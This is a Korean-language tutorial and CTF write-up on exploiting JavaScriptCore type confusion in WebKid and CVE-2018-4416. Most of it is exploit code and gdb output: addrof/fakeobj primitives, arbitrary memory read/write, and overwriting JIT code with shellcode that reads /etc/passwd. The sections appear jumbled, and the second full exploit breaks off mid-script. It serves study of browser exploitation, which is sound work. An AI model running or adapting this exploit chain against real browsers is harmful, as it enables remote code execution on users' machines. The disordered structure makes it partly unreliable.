#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o 이제 구조체 ID 122를 가진 객체입니다. o.property = 42; // o 이제 구조체 ID 123를 가진 객체입니다. 구조체는 리프(한 번도 전환되지 않음)입니다.
function helper() { return o[0]; } jitCompile(helper); // helper 함수를 여러 번 실행합니다. // 이 경우, JIT 컴파일러는 helper 함수를 컴파일할 때 런타임 검사 대신 워치포인트를 사용하기로 선택합니다. // 따라서 구조체 123에서 전환을 감시합니다.
delete o.property; // o 이제 구조체 ID 122로 "돌아갔습니다". 워치포인트가 발동되지 않았습니다. #+end_example
먼저 몇 가지 지식을 복습해 보겠습니다. JSC에서는 올바른 타입 변환을 보장하기 위해 런타임 타입 검사와 워치포인트가 있습니다. 함수가 여러 번 실행된 후, JSC는 구조체 검사를 사용하지 않습니다. 대신 워치포인트로 대체합니다. 객체가 수정되면 브라우저는 워치포인트를 트리거하여 이 변경을 알리고 JS 인터프리터로 폴백(fallback)하고 새로운 JIT 코드를 생성해야 합니다.
여기서는 이전 ID로 복원해도 구조체가 변경되었음에도 불구하고 =워치포인트=를 트리거하지 않습니다. 즉, 버터플라이 포인터의 구조체도 변경됩니다. 그러나 =helper=가 생성한 JIT 코드는 워치포인트가 트리거되지 않았으므로 폴백하지 않아 타입 혼동이 발생합니다. 그리고 JIT 코드는 여전히 이전 버터플라이 구조체에 접근할 수 있습니다. 우리는 가짜 객체를 누출하거나 생성할 수 있습니다.
이것이 최소 공격 프리미티브입니다:
#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;
function returnElem() { return haxxArray[0]; }
function setElem(obj) { haxxArray[0] = obj; }
for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }
delete haxxArray.newProperty; haxxArray[0] = {};
function addrof(obj) { haxxArray[0] = obj; return returnElem(); }
function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT 코드는 이를 정수로 취급하지만 실제로는 객체여야 합니다. // 이를 통해 주소를 누출할 수 있습니다. print(addrof({})); // 위와 거의 동일하지만, 데이터 쓰기를 위한 것입니다. print(fakeobj(addrof({}))); #+end_example
** 유틸리티 함수 :PROPERTIES: :CUSTOM_ID: utility-functions :END: 익스플로잇 스크립트는 많은 유틸리티 함수를 만듭니다. 이들은 거의 모든 웹킷 익스플로잇에서 필요한 프리미티브를 생성하는 데 도움을 줍니다. 여기서는 몇 가지 중요한 함수만 살펴보겠습니다.
*** 네이티브 코드 얻기 :PROPERTIES: :CUSTOM_ID: getting-native-code :END: 공격을 위해 셸코드 또는 ROP를 작성할 네이티브 코드 함수가 필요합니다. 또한 함수는 여러 번 실행된 후에만 네이티브 코드가 됩니다(이것은 =pwn.js=에 있습니다):
#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }
function makeJITCompiledFunction() { // 셸코드로 덮어쓸 수 있는 코드입니다. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
} #+end_example
*** 바이트 제어 :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: =int64.js=에서는 =Int64= 클래스를 만듭니다. 이는 =Uint8Array=를 사용하여 숫자를 저장하고 =add=, =sub=와 같은 관련 연산을 만듭니다. 이전 장에서 JavaScript는 숫자를 표현하기 위해 태그된 값을 사용한다고 언급했습니다. 즉, 상위 바이트를 제어할 수 없습니다. =Uint8Array= 배열은 네이티브 값처럼 8비트 부호 없는 정수를 표현하므로, 8바이트 모두를 제어할 수 있습니다.
=Uint8Array=의 간단한 사용 예:
#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17
console.log(x[1]); // 값은 8비트 부호 없는 정수로 변환됩니다. // 211 #+end_example
16바이트 배열로 병합할 수 있습니다. 다음은 =Uint8Array=가 명확하게 네이티브 형태로 저장된다는 것을 보여줍니다. 왜냐하면 =0x0201= == =513=이기 때문입니다:
#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example
=Int64=의 나머지 함수들은 다양한 연산의 시뮬레이션입니다. 이름과 주석에서 구현을 유추할 수 있습니다. 코드를 읽는 것도 쉽습니다.
** 익스플로잇 작성 :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** 스크립트에 대한 세부 사항 :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: Saelo의 원본 writeup에서 몇 가지 주석을 추가했습니다(대부분의 주석은 여전히 그의 작업이며, 큰 감사를 드립니다):
#+begin_example const ITERATIONS = 100000;
// 네이티브 코드를 가진 함수를 반환하는 헬퍼 함수 function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });
// 네이티브 코드를 가진 함수를 반환합니다. 나중에 이 함수에 셸코드를 배치할 것입니다. function makeJITCompiledFunction() { #+end_example// 셸코드로 덮어쓸 수 있는 일부 코드입니다. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;
// JIT 컴파일러는 |o|의 구조가 전이될 때(즉, |o|가 수정될 가능성이 있을 때)
// 컴파일된 코드를 폐기하기 위해 워치포인트를 설치합니다.
// 따라서 생성된 코드에는 런타임 검사가 없습니다.
function helper() {
return o[0];
}
jitCompile(helper);
// 이제 새로 추가된 빠른 경로를 사용합니다. JIT 코드가 최적화 해제되지 않은 상태에서
// |o|의 구조를 변경합니다(|o|의 구조가 전이되지 않고 기존 구조로 "돌아갑니다").
delete o.addrof_property;
// 이제 |o|의 구조를 원하는 대로 자유롭게 수정할 수 있습니다.
// JIT 컴파일러는 (이제 관련 없는 구조를 보고 있기 때문에) 알아채지 못합니다.
o[0] = {};
return function(obj) {
o[0] = obj;
return Int64.fromDouble(helper());
};
}
function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;
// 위와 동일하지만, 배열에서 읽는 대신 쓰기를 합니다.
function helper(addr) {
o[0] = addr;
}
jitCompile(helper, 13.37);
delete o.fakeobj_property;
o[0] = {};
return function(addr) {
helper(addr.asDouble());
return o[0];
};
}
function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();
// 기본 익스플로잇 프리미티브가 작동하는지 확인합니다.
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof 및/또는 fakeobj가 작동하지 않습니다");
print('[+] 익스플로잇 프리미티브 작동 중');
// saelo로부터: 구조체 ID를 예측할 수 있도록 구조체들을 스프레이합니다.
// var structs = []
// var i = 0;
// var abc = [13.37];
// abc.pointer = 1234;
// abc['prop' + i] = 13.37;
// structs.push(abc);
// var victim = structs[0];
//
// 그리고 페이로드는 여전히 안정적으로 작동합니다. 이 작업은 중복된 것으로 보입니다.
var structs = []
for (var i = 0; i < 0x1000; ++i) {
var array = [13.37];
array.pointer = 1234;
array['prop' + i] = 13.37;
structs.push(array);
}
// 중간쯤에서 배열을 하나 가져와서, 앞쪽에 0이 아닌 바이트들이 위치하도록 합니다.
// 이 바이트들은 나중에 버터플라이 길이로 처리됩니다.
var victim = structs[0x800];
print(`[+] victim @ ${addrof(victim)}`);
// victim을 수정하기 위한 가짜 객체를 만듭니다.
var flags_double_array = new Int64("0x0108200700001000").asJSValue();
var container = {
header: flags_double_array,
butterfly: victim
};
// victim을 버터플라이로 가지는 객체를 생성합니다.
var containerAddr = addrof(container);
print(`[+] container @ ${containerAddr}`);
// 컴파일러가 가짜 구조를 인식하도록 오프셋을 추가합니다.
var hax = fakeobj(Add(containerAddr, 0x10));
// origButterfly는 이제 **victim**의 오프셋을 기준으로 합니다.
// 새로운 버터플라이 포인터가 되기 때문입니다.
// 그리고 hax[1] === victim.pointer
var origButterfly = hax[1];
var memory = {
addrof: addrof,
fakeobj: fakeobj,
// 주어진 주소에 int64를 씁니다.
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// 주어진 주소에 2바이트 정수를 씁니다. 쓰여진 정수 뒤의 6바이트가 손상됩니다.
write16(addr, value) {
// victim 객체의 버터플라이를 설정하고 역참조합니다.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// 주어진 주소에 여러 바이트를 씁니다. 끝 부분에 6바이트가 추가로 손상됩니다.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// 64비트 값을 읽습니다. NaN을 나타내지 않는 비트 패턴에만 작동합니다.
read64(addr) {
// victim 객체의 버터플라이를 설정하고 역참조합니다.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// 메모리 읽기 및 쓰기 프리미티브가 작동하는지 확인합니다.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof 및/또는 fakeobj가 작동하지 않습니다");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64가 작동하지 않습니다");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16이 작동하지 않습니다");
},
};
// 익스플로잇과 관련 없는 테스트 코드
var plainObj = {};
var header = memory.read64(addrof(plainObj));
memory.writeInt64(memory.addrof(container), header);
memory.test();
print("[+] 제한된 메모리 읽기/쓰기 작동 중");
// 타겟 함수를 가져옵니다.
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
// JIT 코드를 셸코드로 변경합니다.
// 오프셋 조정은 여기서 약간 복잡합니다 :P
print(`[+] 셸코드 함수 객체 @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
print(`[+] executable 인스턴스 @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
print(`[+] JITCode 인스턴스 @ ${jitCodeObjAddr}`);
// var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); // 디버그 빌드용 오프셋
// 최종 JIT Code 주소
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
print(`[+] JITCode @ ${jitCodeAddr}`);
var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);
shellcode.push(...strData.bytes());
// 셸코드 쓰기
memory.write(jitCodeAddr, shellcode);
// 셸코드 트리거
var res = func();
var flag = s.split('\n')[0];
if (typeof(alert) !== 'undefined')
alert(flag);
print(flag);
}
if (typeof(window) === 'undefined') pwn(); #+end_example
** 익스플로잇에 대한 결론 :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: 결론적으로, 이 익스플로잇은 가장 중요한 두 가지 공격 프리미티브인 =addrof=와 =fakeobj=를 사용하여 정보를 유출하고 조작합니다. JIT 컴파일된 함수가 유출되고 우리의 =shellcode= 배열로 덮어쓰여집니다. 그런 다음 함수를 호출하여 플래그를 유출합니다. 거의 모든 브라우저 익스플로잇이 이 형태를 따릅니다.
35C3 CTF 주최자, 특히 Saelo에게 감사드립니다. WebKit 타입 혼동을 배우기에 훌륭한 도전 과제였습니다.
이전에는 중단점을 설정해 주소를 찾으려고 했지만, 실제로는 매우 어리석은 방법입니다. /JSC/에는 정보를 덤프할 수 있는 비표준 함수가 많이 있습니다(/Safari/에서는 대부분 사용할 수 없습니다!):
** 중단점 설정 :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: 중단점을 설정하는 가장 쉬운 방법은 사용하지 않는 함수에서 중단하는 것입니다. =print=나 =Array.prototype.slice([]);= 같은 것 말이죠. 함수가 PoC에 영향을 줄지 대부분 알 수 없기 때문에 이 방법은 약간의 부작용을 일으킬 수 있습니다.
취약한 함수를 중단점으로 설정하는 것도 작동합니다. 취약점을 이해하려고 할 때 해당 함수에서 중단하는 것은 매우 중요합니다. 하지만 호출 스택이 쾌적하지 않을 수 있습니다.
WebKit 소스 코드에 디버깅 함수(=int 3= 사용)를 직접 정의할 수도 있습니다. =/Source/JavaScriptCore/jsc.cpp=에 함수를 정의, 구현 및 등록합니다. 이렇게 하면 디버거에서 WebKit을 중단시킬 수 있습니다:
#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src
세 번째 방법은 소스 코드를 수정해야 하므로, 개인적으로 앞의 두 방법을 선호합니다.
** JSC 객체 검사 :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: 자, 이 스크립트를 사용합니다:
#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))
print() #+end_example
gef와 함께 gdb를 사용하여 디버그합니다. =print()=에서 중단할 것이라고 예상할 수 있습니다:
#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100
... // 일부 역추적 #+end_example
#+begin_quote 객체 주소와 버터플라이 포인터는 시스템에 따라 다를 수 있습니다. 스크립트를 수정하면 주소도 변경될 수 있습니다. 출력 결과에 따라 조정하세요. #+end_quote
이제 객체와 그 포인터를 처음 살펴보겠습니다:
#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example
이것을 float으로 변경하면 어떨까요?
#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))
print() #+end_example
여기서 작은 트릭을 사용합니다: =2261634.5098039214=는 메모리에서 =0x4141414141414141=로 표현됩니다. 마법의 숫자를 사용하여 값을 더 쉽게 찾을 수 있습니다(여기서는 버터플라이 포인터를 직접 사용합니다). 기본적으로 JSC는 사용되지 않은 메모리를 =0x00000000badbeef0=으로 채웁니다:
#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example
메모리 레이아웃은 /JSC Object Model/ 부분과 동일하므로 여기서 반복하지 않습니다.
** 네이티브 코드 얻기 :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: 이제 컴파일된 함수를 가져올 차례입니다. 이는 JSC 컴파일러를 이해하고 익스플로잇하는 데 중요한 역할을 합니다:
#+begin_example const ITERATIONS = 100000;
function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")
function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
func = makeJITCompiledFunction() debug(describe(func))
print() #+end_example
이전 섹션을 주의 깊게 읽었다면 어렵지 않습니다. 이제 디버거에서 네이티브 코드를 얻어야 합니다:
#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // 디버그 모드에서는 368을 오프셋으로 사용해도 됩니다. // 릴리스 모드에서는 352여야 합니다. gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example
덤프 바이트를 rasm2에 넣습니다:
#+begin_example rasm -d "여기에 덤프 바이트를 넣으세요" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example
음... 디스어셈블리 코드가 부분적으로 올바르지 않습니다. 적어도 이제 대략적인 윤곽은 볼 수 있습니다.
타입 혼동입니다. 이미 유사한 타입 혼동 버그가 있는 CTF 도전 과제인 /WebKid/에 대해 이야기했으므로, 이것을 이해하는 것은 어렵지 않을 것입니다. 취약한 브랜치로 전환하고 여정을 시작합니다.
PoC는 문서의 시작 부분에 제공됩니다. /WebKid/ 저장소에서 =int64.js=, =shellcode.js=, =utils.js=를 복사하여 가상 머신에 붙여넣으세요.
** 근본 원인 :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Lokihardt의 인용문 :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: 다음은 CVE-2018-4416에 대한 /Lokihardt/의 설명으로, 내가 부분적으로 강조한 내용입니다.
=for-in= 루프가 실행되면 시작 부분에 =JSPropertyNameEnumerator object=가 생성되어 =for-in= 루프의 입력 객체 정보를 저장하는 데 사용됩니다. 루프 내부에서 루프 변수를 인덱스로 사용하는 모든 =get_by_id= 표현식의 "this" 객체의 /구조 ID/는 =JSPropertyNameEnumerator object=의 캐시된 =structure ID=와 비교됩니다. 같다면, =get_by_id= 표현식의 "this" 객체는 =for-in= 루프의 입력 객체와 동일한 구조를 가진 것으로 간주됩니다.
문제는 캐시된 /structure ID/가 해제되는 것을 방지하는 장치가 없다는 것입니다. 해제된 후 /structure ID/는 재사용될 수 있으므로 /type confusion/이 발생할 수 있습니다.
*** 한 줄씩 설명 :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: =/* */= 안의 주석은 내 분석이며 부정확할 수 있습니다. =//= 뒤의 주석은 Lokihardt의 것입니다:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // 최적화 시작. for (let i = 0; i < 500; i++) {
}
/* Step 3 */
/* 이것은 또 다른 대상입니다 */
/* 이것(tmp)을 obj(fake_object_memory)와 혼동시키려고 합니다 */
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp"의 구조 ID가 JSPropertyNameEnumerator에 저장됩니다.
/* Step 4 */
/* tmp의 구조를 {}로 변경합니다 */
tmp.__proto__ = {};
gc();
/* 이제 obj의 구조도 {}입니다 */
obj.__proto__ = {}; // "obj"의 구조 ID가 tmp의 것과 같아집니다.
/* Step 5 */
/* 컴파일러는 이제 obj와 tmp가 동일한 타입을 공유한다고 믿습니다 */
/* 따라서 obj[k]는 오프셋 a에 있는 객체에서 데이터를 검색합니다 */
/* 패치된 버전에서는 undefined여야 합니다 */
return obj[k]; // 타입 혼동.
}
}
/* Step 0 / / 구조체 {} 준비 */ opt({});
/* Step 1 / / 대상 배열, 0x1234는 우리의 가짜 주소 */ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
/* Step 2 / / 타입 혼동 트리거 */ let fake_object = opt(fake_object_memory);
/* JSC 충돌 */ print(fake_object); #+end_example
*** 디버깅 :PROPERTIES: :CUSTOM_ID: debugging :END: 디버깅하여 생각을 검증해 봅시다. 디버깅을 쉽게 하기 위해 원래 PoC를 약간 수정했습니다. 추가된 =print()= 외에는 거의 동일합니다:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // 최적화 시작. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp"의 구조 ID가 JSPropertyNameEnumerator에 저장됩니다.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // "obj"의 구조 ID가 tmp의 것과 같아집니다.
debug("혼동된 객체: " + describe(obj));
return obj[k]; // 타입 혼동.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example
그런 다음 =gdb ./jsc=, =b *printInternal=, =r poc.js=를 실행하면 다음을 얻습니다:
#+begin_example ...
--> 혼동된 객체: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> 혼동된 객체: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142
... #+end_example
이제 가짜 주소를 살펴보겠습니다. JSC는 원하는 중단점을 찾기에는 너무 큽니다. 대신 워치포인트를 설정하여 흐름을 추적합니다:
#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example
나중에 예상된 출력을 얻습니다:
#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000
Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example
그런데 왜 =structure ID=에서 나타날까요? 메모리 레이아웃에서 답을 얻을 수 있습니다:
#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064
tmp ({a: 1}):
0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000
0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000
#+end_example그래서 Uint32Array의 포인터는 객체로 반환됩니다. 그리고 m_structureID는 각 JS 객체의 시작 부분에 위치합니다. 0x1234가 배열의 첫 번째 요소이므로 structureID()가 이를 검색하는 것은 합리적입니다.
이제 Uint32Array의 데이터를 사용하여 가짜 객체를 만들 수 있습니다. 멋지네요!
** 공격 프리미티브 구축
:PROPERTIES:
:CUSTOM_ID: constructing-attack-primitive
:END:
*** addrof
:PROPERTIES:
:CUSTOM_ID: addrof
:END:
이제 합법적인 객체를 만들어야 합니다. 저는 {} (빈 객체)를 대상으로 선택하겠습니다.
빈 객체가 메모리에서 어떻게 보이는지 살펴보겠습니다(여기서 스크립팅 및 디버깅은 무시):
#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example
좋습니다. 0x010016000000008a로 시작합니다. 이를 Uint32Array에서 편리하게 시뮬레이션할 수 있습니다(gc와 opt를 여기에 붙여넣는 것을 잊지 마세요):
#+begin_example function gc() { ... // Same as above's }
function opt(obj) { ... // Same as above;s }
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}
print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example
두 개의 미스터리 숫자가 반환됩니다:
#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src
분명히 포인터 형식입니다. 이제 임의의 객체를 유출할 수 있습니다!
*** fakeobj
:PROPERTIES:
:CUSTOM_ID: fakeobj
:END:
fakeobj를 얻는 것은 addrof를 만드는 것과 거의 동일합니다. 차이점은 UInt32Array에 주소를 채운 다음 fake_object의 속성 a를 통해 객체를 얻어야 한다는 것입니다.
*** 임의 읽기/쓰기 및 셸코드 실행
:PROPERTIES:
:CUSTOM_ID: arbitrary-rw-and-shellcode-execution
:END:
WebKid 챌린지의 익스플로잇 스크립트와 유사합니다. 전체 스크립트는 한 줄씩 설명하기에는 너무 깁니다. 하지만 [[/assets/CVE-2018-4416.js][여기]]에서 찾을 수 있습니다. 성공적으로 익스플로잇하려면 약 10회 정도 시도해야 할 수 있습니다. 성공하면 /etc/passwd를 읽습니다. 다음은 핵심 코드입니다:
#+begin_example // get compiled function var func = makeJITCompiledFunction();
function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
// Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) {
tmp.__proto__ = {};
gc();
obj.__proto__ = {};
// Compiler are misleaded that obj and tmp shared same type
return obj[k];
}
}
opt({});
// Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);
debug(describe(fake_object))
// Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }
// get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }
// Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }
addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');
// Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;
var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }
// We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)
// Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b
var origButterfly = hax[1];
var memory = { addrof: addrof, fakeobj: fakeobj,
// Write an int64 to the given address.
// we change the butterfly of victim to addr + 0x10
// when victim change the pointer attribute, it will read butterfly - 0x10
// which equal to addr + 0x10 - 0x10 = addr
// read arbiutrary value is almost the same
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
memory.test(); debug("[+] limited memory read/write working");
// Get JIT code address
debug(describe(func))
var funcAddr = memory.addrof(func);
debug([+] shellcode function object @ ${funcAddr});
var executableAddr = memory.read64(Add(funcAddr, 24));
debug([+] executable instance @ ${executableAddr});
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
debug([+] JITCode instance @ ${jitCodeObjAddr});
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));
